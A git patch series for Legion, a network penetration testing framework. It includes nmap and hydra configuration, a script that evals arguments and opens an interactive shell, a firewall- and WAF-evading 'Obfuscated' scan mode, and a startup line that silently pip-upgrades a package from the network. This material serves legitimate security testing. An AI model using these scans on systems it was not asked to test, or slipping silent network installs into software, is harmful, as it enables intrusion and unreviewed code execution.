"netbios-ssn,microsoft-ds" -rsh=Open with rsh, rsh -l root [IP], shell -ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, telnet [IP] [PORT], -vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc -xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp - -[SchedulerSettings] -ftp-default=ftp, tcp -mssql-default=ms-sql-s, tcp -mysql-default=mysql, tcp -nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp -oracle-default=oracle-tns, tcp -postgres-default=postgresql, tcp -screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp -smbenum=microsoft-ds, tcp -smtp-enum-vrfy=smtp, tcp -snmp-default=snmp, udp -snmpcheck=snmp, udp -x11screen=X11, tcp - -[StagedNmapSettings] -stage1-ports="T:80,443" -stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" -stage3-ports="Vulners,CVE" -stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" -stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" -stage6-ports="T:30000-65534,65535" - -[ToolSettings] -cutycapt-path=/usr/bin/cutycapt -hydra-path=/usr/bin/hydra -nmap-path=/usr/bin/nmap -texteditor-path=/usr/bin/leafpad diff --git a/legion.py b/legion.py index e89b9873..78c9e1b0 100644 --- a/legion.py +++ b/legion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -14,6 +14,8 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . """ +import shutil + from app.ProjectManager import ProjectManager from app.logging.legionLog import getStartupLogger, getDbLogger from app.shell.DefaultShell import DefaultShell @@ -64,6 +66,24 @@ startupLog.error(e) exit(1) +import os + +if not os.path.isdir(os.path.expanduser("~/.local/share/legion/tmp")): + os.makedirs(os.path.expanduser("~/.local/share/legion/tmp")) + +if not os.path.isdir(os.path.expanduser("~/.local/share/legion/backup")): + os.makedirs(os.path.expanduser("~/.local/share/legion/backup")) + +if not os.path.exists(os.path.expanduser('~/.local/share/legion/legion.conf')): + shutil.copy('./legion.conf', os.path.expanduser('~/.local/share/legion/legion.conf')) + +# Check Nmap version is not 7.92- it segfaults under zsh constantly +import subprocess +checkNmapVersion = subprocess.check_output(['nmap', '-version']) + +# Quite upgrade of pyExploitDb +upgradeExploitDb = os.system('pip install pyExploitDb --upgrade > /dev/null 2>&1') + from ui.view import * from controller.controller import * @@ -89,6 +109,23 @@ "Try downloading the latest version.") exit(0) + if os.geteuid()!=0: + startupLog.error("Legion must run as root for raw socket access. Please start legion using sudo.") + notice=QMessageBox() + notice.setIcon(QMessageBox.Critical) + notice.setText("Legion must run as root for raw socket access. Please start legion using sudo.") + notice.exec_() + exit(1) + + if '7.92' in checkNmapVersion.decode(): + startupLog.error("Cannot continue. NMAP version is 7.92, which has problems segfaulting under zsh.") + startupLog.error("Please follow the instructions at https://github.com/GoVanguard/legion/ to resolve.") + notice=QMessageBox() + notice.setIcon(QMessageBox.Critical) + notice.setText("Cannot continue. The installed NMAP version is 7.92, which has segfaults under zsh.\nPlease follow the instructions at https://github.com/GoVanguard/legion/ to resolve.") + notice.exec_() + exit(1) + MainWindow.setStyleSheet(qss_file) shell = DefaultShell() @@ -117,10 +154,10 @@ # Center the application in screen x = app.desktop().screenGeometry().center().x() y = app.desktop().screenGeometry().center().y() - MainWindow.move(x - MainWindow.geometry().width() / 2, y - MainWindow.geometry().height() / 2) + MainWindow.move(int(x - MainWindow.geometry().width() / 2), int(y - MainWindow.geometry().height() / 2 + 125)) # Show main window - MainWindow.show() + MainWindow.showMaximized() startupLog.info("Legion started successfully.") try: diff --git a/parsers/examples/HostExample.py b/parsers/examples/HostExample.py index 1a62b4fd..52f7820c 100644 --- a/parsers/examples/HostExample.py +++ b/parsers/examples/HostExample.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/OsExample.py b/parsers/examples/OsExample.py index 4eace1b3..0f2417cc 100644 --- a/parsers/examples/OsExample.py +++ b/parsers/examples/OsExample.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/ParserExample.py b/parsers/examples/ParserExample.py index dd1ee5d7..21e73a4b 100644 --- a/parsers/examples/ParserExample.py +++ b/parsers/examples/ParserExample.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/ScriptExample.py b/parsers/examples/ScriptExample.py index ee731b69..abeaa4af 100644 --- a/parsers/examples/ScriptExample.py +++ b/parsers/examples/ScriptExample.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/ServiceExample.py b/parsers/examples/ServiceExample.py index b52c91c6..17f8c626 100644 --- a/parsers/examples/ServiceExample.py +++ b/parsers/examples/ServiceExample.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/parsers/examples/SessionExample.py b/parsers/examples/SessionExample.py index 935361cb..dfad39f8 100644 --- a/parsers/examples/SessionExample.py +++ b/parsers/examples/SessionExample.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/precommit.sh b/precommit.sh index 0b94dbfe..41030a94 100644 --- a/precommit.sh +++ b/precommit.sh @@ -26,3 +26,5 @@ rm -Rf ./scripts/CloudFail/ # Removed backups rm -Rf ./backup/*.conf + +find . -type f -exec sed -i 's/Copyright (c) 2020 GoVanguard/Copyright (c) 2022 GoVanguard/' {} \; diff --git a/primeExploitDb.py b/primeExploitDb.py new file mode 100755 index 00000000..0e61a184 --- /dev/null +++ b/primeExploitDb.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 + +from pyExploitDb import PyExploitDb + + +def prime(): + pEdb = PyExploitDb() + pEdb.debug = False + pEdb.openFile() + + +if __name__ == "__main__": + prime() diff --git a/scripts/exec-in-shell b/scripts/exec-in-shell new file mode 100755 index 00000000..679ac013 --- /dev/null +++ b/scripts/exec-in-shell @@ -0,0 +1,5 @@ +#!/bin/sh +eval $@ +USER=${USER:-$(whoami)} +SHELL=${SHELL:-$(getent passwd $USER|cut -d: -f7)} +${SHELL:-bash} -i diff --git a/scripts/x11screenshot.sh b/scripts/x11screenshot.sh index ef64ca66..2444703f 100644 --- a/scripts/x11screenshot.sh +++ b/scripts/x11screenshot.sh @@ -37,6 +37,6 @@ convert $OUTFOLDER/x11screenshot-$IP.xwd $OUTFOLDER/x11screenshot-$IP.jpg if [ -f "$OUTFOLDER/x11screenshot-$IP.jpg" ] then - echo "eog $OUTFOLDER/x11screenshot-$IP.jpg" - eog $OUTFOLDER/x11screenshot-$IP.jpg + echo "xdg-open $OUTFOLDER/x11screenshot-$IP.jpg" + xdg-open $OUTFOLDER/x11screenshot-$IP.jpg fi diff --git a/ui/ViewHeaders.py b/ui/ViewHeaders.py index 14d95124..30db9152 100644 --- a/ui/ViewHeaders.py +++ b/ui/ViewHeaders.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/ViewState.py b/ui/ViewState.py index d1620705..2078d38f 100644 --- a/ui/ViewState.py +++ b/ui/ViewState.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/addHostDialog.py b/ui/addHostDialog.py index a3b7b3c9..cd88a166 100644 --- a/ui/addHostDialog.py +++ b/ui/addHostDialog.py @@ -2,7 +2,7 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -159,9 +159,9 @@ def setupLayout(self): self.rdoScanOptTcpConnect = QtWidgets.QRadioButton(self) self.rdoScanOptTcpConnect.setText('TCP') self.rdoScanOptTcpConnect.setToolTip('TCP connect() scanning [-sT]') - self.rdoScanOptSynStealth = QtWidgets.QRadioButton(self) - self.rdoScanOptSynStealth.setText('Stealth SYN') - self.rdoScanOptSynStealth.setToolTip('SYN scanning (also known as half-open, or stealth scanning) [-sS]') + self.rdoScanOptObfuscated = QtWidgets.QRadioButton(self) + self.rdoScanOptObfuscated.setText('Obfuscated') + self.rdoScanOptObfuscated.setToolTip('Obfuscated scanning for avoiding Firewall and WAF detection [--data-length 5 --max-retries 2 --randomize-hosts]') self.rdoScanOptFin = QtWidgets.QRadioButton(self) self.rdoScanOptFin.setText('FIN') self.rdoScanOptFin.setToolTip('FIN scanning sends a packet with only the FIN flag set [-sF]') @@ -184,6 +184,7 @@ def setupLayout(self): # Fragmentation option self.chkScanOptFragmentation = QtWidgets.QCheckBox(self) self.chkScanOptFragmentation.setText('Fragment') + self.chkScanOptFragmentation.setToolTip('Enable packet fragmentation [-f]') self.chkScanOptFragmentation.toggle() # Port scan options @@ -191,7 +192,7 @@ def setupLayout(self): self.grpScanOptWidgets = QtWidgets.QHBoxLayout() self.grpScanOpt.setTitle('Port Scan Options') self.grpScanOptWidgets.addWidget(self.rdoScanOptTcpConnect) - self.grpScanOptWidgets.addWidget(self.rdoScanOptSynStealth) + self.grpScanOptWidgets.addWidget(self.rdoScanOptObfuscated) self.grpScanOptWidgets.addWidget(self.rdoScanOptFin) self.grpScanOptWidgets.addWidget(self.rdoScanOptNull) self.grpScanOptWidgets.addWidget(self.rdoScanOptXmas) @@ -199,14 +200,14 @@ def setupLayout(self): self.grpScanOptWidgets.addWidget(self.rdoScanOptPingUdp) self.grpScanOptWidgets.addWidget(self.chkScanOptFragmentation) self.grpScanOpt.setLayout(self.grpScanOptWidgets) - self.rdoScanOptSynStealth.toggle() + self.rdoScanOptObfuscated.toggle() self.grpScanOpt.setEnabled(False) self.spacer4 = QSpacerItem(5,5) self.rdoScanOptPingDisable = QtWidgets.QRadioButton(self) self.rdoScanOptPingDisable.setText('Disable') - self.rdoScanOptPingDisable.setToolTip('Disable Ping entirely [-P0 | -Pn]') + self.rdoScanOptPingDisable.setToolTip('Disable Ping entirely [-Pn]') self.rdoScanOptPingDefault = QtWidgets.QRadioButton(self) self.rdoScanOptPingDefault.setText('Default') self.rdoScanOptPingDefault.setToolTip('ICMP Echo Request and TCP ping, with ACK packets [-PB]') @@ -237,7 +238,7 @@ def setupLayout(self): self.grpScanOptPingWidgets.addWidget(self.rdoScanOptPingTimeStamp) self.grpScanOptPingWidgets.addWidget(self.rdoScanOptPingNetmask) self.grpScanOptPing.setLayout(self.grpScanOptPingWidgets) - self.rdoScanOptPingSyn.toggle() + self.rdoScanOptPingDisable.toggle() self.grpScanOptPing.setEnabled(False) self.spacer6 = QSpacerItem(5,5) @@ -249,7 +250,7 @@ def setupLayout(self): self.lblCustomOpt = QtWidgets.QLabel(self) self.lblCustomOpt.setText('Additional arguments') self.txtCustomOptList = QtWidgets.QLineEdit(self) - self.txtCustomOptList.setText("-sV -O") + self.txtCustomOptList.setText("") #"-sV -O") self.scanOptCustomGroupWidgets.addWidget(self.lblCustomOpt) self.scanOptCustomGroupWidgets.addWidget(self.txtCustomOptList) self.scanOptCustomGroup.setLayout(self.scanOptCustomGroupWidgets) diff --git a/ui/ancillaryDialog.py b/ui/ancillaryDialog.py index 90059c20..e0bb4015 100644 --- a/ui/ancillaryDialog.py +++ b/ui/ancillaryDialog.py @@ -2,7 +2,7 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -52,7 +52,7 @@ def setupLayout(self): def setProgress(self, progress): if progress > 100: progress = 100 - self.progressBar.setValue(progress) + self.progressBar.setValue(int(progress)) def setText(self, text): self.text = text diff --git a/ui/configDialog.py b/ui/configDialog.py index 93ce8e0c..5f4cc1b0 100644 --- a/ui/configDialog.py +++ b/ui/configDialog.py @@ -2,7 +2,7 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -30,7 +30,7 @@ def __init__(self, qss, parent = None): super(Config, self).__init__(parent) self.setMinimumHeight(550) self.setStyleSheet(qss) - self.setPlainText(open('legion.conf','r').read()) + self.setPlainText(open(os.path.expanduser('~/.local/share/legion/legion.conf'),'r').read()) self.setReadOnly(False) def getText(self): @@ -86,7 +86,7 @@ def Qui_update(self): self.setLayout(self.Main) def save(self): - fileObj = open('legion.conf','w') + fileObj = open(os.path.expanduser('~/.local/share/legion/legion.conf'),'w') fileObj.write(self.configObj.getText()) fileObj.close() self.controller.loadSettings() diff --git a/ui/dialogs.py b/ui/dialogs.py index 3aea65ef..69958609 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/eventfilter.py b/ui/eventfilter.py index 49e33059..be73942a 100644 --- a/ui/eventfilter.py +++ b/ui/eventfilter.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/gui.py b/ui/gui.py index bdbe9d45..1cc90225 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/helpDialog.py b/ui/helpDialog.py index 7493bee5..38ac0e63 100644 --- a/ui/helpDialog.py +++ b/ui/helpDialog.py @@ -2,7 +2,7 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/models/cvemodels.py b/ui/models/cvemodels.py index e62d8e33..8b243804 100644 --- a/ui/models/cvemodels.py +++ b/ui/models/cvemodels.py @@ -2,7 +2,7 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -52,7 +52,7 @@ def rowCount(self, parent): return len(self.__cves) def columnCount(self, parent): - if len(self.__cves) > 0: + if len(self.__cves) != 0: return len(self.__cves[0]) return 0 diff --git a/ui/models/hostmodels.py b/ui/models/hostmodels.py index cf2ef9b7..7f208a87 100644 --- a/ui/models/hostmodels.py +++ b/ui/models/hostmodels.py @@ -2,7 +2,7 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -40,7 +40,7 @@ def rowCount(self, parent): return len(self.__hosts) def columnCount(self, parent): - if len(self.__hosts) > 0: + if len(self.__hosts) != 0: return len(self.__hosts[0]) return 0 diff --git a/ui/models/processmodels.py b/ui/models/processmodels.py index 3f5327af..b5ea86d5 100644 --- a/ui/models/processmodels.py +++ b/ui/models/processmodels.py @@ -2,7 +2,7 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -40,7 +40,7 @@ def rowCount(self, parent): return len(self.__processes) def columnCount(self, parent): - if len(self.__processes) > 0: + if len(self.__processes) != 0: return len(self.__processes[0]) return 0 diff --git a/ui/models/scriptmodels.py b/ui/models/scriptmodels.py index 7ad35e09..313e4e90 100644 --- a/ui/models/scriptmodels.py +++ b/ui/models/scriptmodels.py @@ -2,7 +2,7 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -41,7 +41,7 @@ def rowCount(self, parent): return len(self.__scripts) def columnCount(self, parent): - if len(self.__scripts) > 0: + if len(self.__scripts) != 0: return len(self.__scripts[0]) return 0 diff --git a/ui/models/servicemodels.py b/ui/models/servicemodels.py index bb4a8cc8..af45f53e 100644 --- a/ui/models/servicemodels.py +++ b/ui/models/servicemodels.py @@ -2,7 +2,7 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -181,7 +181,7 @@ def rowCount(self, parent): return len(self.__serviceNames) def columnCount(self, parent): - if len(self.__serviceNames) > 0: + if len(self.__serviceNames) != 0: return len(self.__serviceNames[0]) return 0 diff --git a/ui/observers/QtUpdateProgressObserver.py b/ui/observers/QtUpdateProgressObserver.py index cedb4639..67c5e218 100644 --- a/ui/observers/QtUpdateProgressObserver.py +++ b/ui/observers/QtUpdateProgressObserver.py @@ -1,6 +1,6 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/settingsDialog.py b/ui/settingsDialog.py index c248608b..ed3ce124 100644 --- a/ui/settingsDialog.py +++ b/ui/settingsDialog.py @@ -2,7 +2,7 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later diff --git a/ui/view.py b/ui/view.py index 40710900..847fe300 100644 --- a/ui/view.py +++ b/ui/view.py @@ -2,7 +2,7 @@ """ LEGION (https://govanguard.com) -Copyright (c) 2020 GoVanguard +Copyright (c) 2022 GoVanguard This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later @@ -438,7 +438,7 @@ def callAddHosts(self): hostList = hostListStr.split(';') hostList = [hostEntry for hostEntry in hostList if len(hostEntry) > 0] - hostAddOptionControls = [self.adddialog.rdoScanOptTcpConnect, self.adddialog.rdoScanOptSynStealth, + hostAddOptionControls = [self.adddialog.rdoScanOptTcpConnect, self.adddialog.rdoScanOptObfuscated, self.adddialog.rdoScanOptFin, self.adddialog.rdoScanOptNull, self.adddialog.rdoScanOptXmas, self.adddialog.rdoScanOptPingTcp, self.adddialog.rdoScanOptPingUdp, self.adddialog.rdoScanOptPingDisable, diff --git a/utilities/stenoLogging.py b/utilities/stenoLogging.py index 5cab4980..d673a035 100644 --- a/utilities/stenoLogging.py +++ b/utilities/stenoLogging.py @@ -138,7 +138,7 @@ def extractParams(f, args, kwargs, matchParam): pIndex = argspec.args.index(matchParam) if len(args) > pIndex: return args[pIndex] - if argspec.defaults is not None: + if argspec.defaults != None: dIndex = pIndex - len(argspec.args) + len(argspec.defaults) if 0 <= defaults_index < len(argspec.defaults): return argspec.defaults[dIndex] @@ -179,9 +179,9 @@ def decorator(*args, **kwargs): timeEnd = time.time() execTime = timeEnd - timeStart evtSevObj = evtSevDict[evtSev] - if objIdAttr is not None: + if objIdAttr != None: evtObjIds = getattr(value, objIdAttr) - elif objIdParam is not None: + elif objIdParam != None: evtObjIds = extractParams(f, args, kwargs, objIdParam) else: evtObjIds = None From 1e9add6faf92f2edd653231aaa2b5356d2c1543b Mon Sep 17 00:00:00 2001 From: sscott_gvit Date: Thu, 6 Oct 2022 20:33:53 -0500 Subject: [PATCH 435/450] Update to release 0.3.8 --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 64800501..68573ac1 100644 --- a/README.md +++ b/README.md @@ -12,6 +12,7 @@ If you are interested in contributing to Legion, join our [Legion Keybase Team](https://keybase.io/team/govanguard.dev.legion). ## Fix NMAP 7.92 Sefgaults under Kali + Install NMAP 7.93 using the following: ```shell sudo apt install snapd -y From cd190fb918fbd8f06d2963dad43d3bf65beb7dc1 Mon Sep 17 00:00:00 2001 From: sscott_gvit Date: Thu, 6 Oct 2022 20:37:57 -0500 Subject: [PATCH 436/450] Update to release 0.3.9 --- CHANGELOG.txt | 7 ++++++- app/ApplicationInfo.py | 2 +- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.txt b/CHANGELOG.txt index be2f294e..79478ade 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,4 +1,4 @@ -LEGION 0.3.8 +LEGION 0.3.9 * Start time message box ensuring run as root * Start time message box to help users resolve NMAP v7.92 segfaults @@ -10,6 +10,11 @@ LEGION 0.3.8 * Stage module revisions (nothing hard coded anymore, adds option to specify any NSE script for any stage) * Ensure pyExploiutDb is updated at all times +LEGION 0.3.8 + +* Bug fixes +* Preparation to move to postgresql backend + LEGION 0.3.7 * Bug fixes for several edge cases diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index ac7f7992..611f2d6c 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -18,7 +18,7 @@ applicationInfo = { "name": "LEGION", - "version": "0.3.8", + "version": "0.3.9", "build": '1665098899', "author": "GoVanguard", "copyright": "2022", From cceb9fc669bd4362161319e30455b3ed2b4a5e72 Mon Sep 17 00:00:00 2001 From: seunghaekim Date: Mon, 24 Oct 2022 13:34:15 +0900 Subject: [PATCH 437/450] fix bad interpreter: /bin/bash^M: no such file or directory --- docker/runIt.sh | 0 1 file changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 docker/runIt.sh diff --git a/docker/runIt.sh b/docker/runIt.sh old mode 100644 new mode 100755 From 4d40498dfbc91b7b69f117059a2c5f4ba65c45a5 Mon Sep 17 00:00:00 2001 From: Christian Scott Date: Thu, 25 May 2023 12:57:18 -0400 Subject: [PATCH 438/450] Update README.md Removed old dead links. --- README.md | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/README.md b/README.md index 68573ac1..4bb1bca4 100644 --- a/README.md +++ b/README.md @@ -4,12 +4,6 @@ Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-extensible, and semi-automated network penetration testing framework that aids in discovery, reconnaissance, and exploitation of information systems. -[Legion](https://govanguard.com/legion) is developed and maintained by [GoVanguard](https://govanguard.com). More -information about Legion, including the [roadmap](https://govanguard.com/legion), can be found on its project page -at [https://GoVanguard.com/legion](https://govanguard.com/legion). - -If you are interested in contributing to Legion, join -our [Legion Keybase Team](https://keybase.io/team/govanguard.dev.legion). ## Fix NMAP 7.92 Sefgaults under Kali @@ -65,10 +59,6 @@ Reboot * Docker container deployment option. * Supported by a highly active development team. -### Demo (GIF) - -![](https://govanguard.com/wp-content/uploads/2019/02/LegionDemo.gif) - ## 🌉 Supported Distributions ### Docker runIt script support From 0f202e2701646bbf9cf8b601f6964a2bf69116ae Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 7 Nov 2023 16:24:59 -0600 Subject: [PATCH 439/450] Updated to PyQt6, more to come --- CHANGELOG.txt | 2 +- app/ApplicationInfo.py | 18 +-- app/ModelHelpers.py | 12 +- app/Project.py | 6 +- app/ProjectManager.py | 18 +-- app/Screenshooter.py | 6 +- app/actions/AbstractObservable.py | 6 +- app/actions/AbstractObserver.py | 6 +- .../AbstractUpdateProgressObservable.py | 6 +- .../AbstractUpdateProgressObserver.py | 6 +- .../UpdateProgressObservable.py | 6 +- app/auxiliary.py | 76 ++++++++++-- app/http/isHttps.py | 6 +- app/importers/NmapImporter.py | 10 +- app/importers/PythonImporter.py | 8 +- app/logging/legionLog.py | 6 +- app/logic.py | 4 +- app/settings.py | 10 +- app/timing.py | 6 +- app/tools/ToolCoordinator.py | 6 +- app/tools/nmap/DefaultNmapExporter.py | 6 +- app/tools/nmap/NmapExporter.py | 6 +- app/tools/nmap/NmapHelpers.py | 6 +- app/tools/nmap/NmapPaths.py | 6 +- controller/controller.py | 73 ++++++----- db/RepositoryContainer.py | 6 +- db/RepositoryFactory.py | 6 +- db/SqliteDbAdapter.py | 4 +- db/database.py | 4 +- db/entities/app.py | 6 +- db/entities/cve.py | 6 +- db/entities/host.py | 6 +- db/entities/l1script.py | 6 +- db/entities/nmapSession.py | 6 +- db/entities/note.py | 6 +- db/entities/os.py | 6 +- db/entities/port.py | 6 +- db/entities/process.py | 6 +- db/entities/processOutput.py | 6 +- db/entities/service.py | 6 +- db/filters.py | 6 +- db/postgresDbAdapter.py | 4 +- db/repositories/CVERepository.py | 6 +- db/repositories/HostRepository.py | 6 +- db/repositories/NoteRepository.py | 6 +- db/repositories/PortRepository.py | 6 +- db/repositories/ProcessRepository.py | 15 ++- db/repositories/ScriptRepository.py | 6 +- db/repositories/ServiceRepository.py | 6 +- db/validation.py | 6 +- deps/Kali-2018.sh | 0 deps/Kali-2018WSL.sh | 0 deps/Kali-2019.sh | 0 deps/Kali-2019WSL.sh | 0 deps/Parrot-4.5.sh | 0 deps/Parrot-4.5WSL.sh | 0 deps/Parrot-4.6.sh | 0 deps/Parrot-4.6WSL.sh | 0 deps/Ubuntu-16.sh | 0 deps/Ubuntu-16WSL.sh | 0 deps/Ubuntu-18.sh | 0 deps/Ubuntu-18WSL.sh | 0 deps/Unknown.sh | 0 deps/UnknownWSL.sh | 0 deps/apt.sh | 0 deps/buildPython36.sh | 0 deps/detectOs.sh | 0 deps/detectPython.sh | 0 deps/detectScripts.sh | 82 +++---------- deps/installDeps.sh | 0 deps/installPython36.sh | 0 deps/installPythonLibs.sh | 0 deps/nmap-wsl.sh | 0 deps/primeExploitDb.py | 0 deps/setupWsl.sh | 0 legion.conf | 6 +- legion.py | 65 +++++----- parsers/examples/HostExample.py | 4 +- parsers/examples/OsExample.py | 4 +- parsers/examples/ParserExample.py | 4 +- parsers/examples/ScriptExample.py | 4 +- parsers/examples/ServiceExample.py | 4 +- parsers/examples/SessionExample.py | 4 +- precommit.sh | 2 +- requirements.txt | 23 ++-- scripts/fingertool.sh | 0 scripts/nmap/shodan-api.nse | 0 scripts/nmap/shodan-hq.nse | 0 scripts/nmap/vulners.nse | 0 scripts/python/__init__.py | 0 scripts/python/dummy.py | 0 scripts/python/macvendors.py | 0 scripts/python/pyShodan.py | 0 scripts/x11screenshot.sh | 0 startLegion.sh | 0 test.py | 49 ++++++++ .../test_UpdateProgressObservable.py | 6 +- tests/app/http/test_isHttps.py | 6 +- tests/app/shell/test_DefaultShell.py | 6 +- tests/app/test_ModelHelpers.py | 18 +-- tests/app/test_ProjectManager.py | 6 +- tests/app/test_Timing.py | 6 +- .../tools/nmap/test_DefaultNmapExporter.py | 6 +- tests/app/tools/nmap/test_NmapHelpers.py | 6 +- tests/app/tools/test_ToolCoordinator.py | 6 +- tests/db/repositories/test_CVERepository.py | 6 +- tests/db/repositories/test_HostRepository.py | 6 +- tests/db/repositories/test_NoteRepository.py | 6 +- tests/db/repositories/test_PortRepository.py | 4 +- .../db/repositories/test_ProcessRepository.py | 6 +- .../db/repositories/test_ServiceRepository.py | 6 +- tests/db/test_filters.py | 6 +- tests/db/test_validation.py | 6 +- tests/parsers/test_Parser.py | 6 +- tests/test.py | 6 +- .../test_QtUpdateProgressObserver.py | 6 +- tests/ui/test_eventfilter.py | 44 +++---- 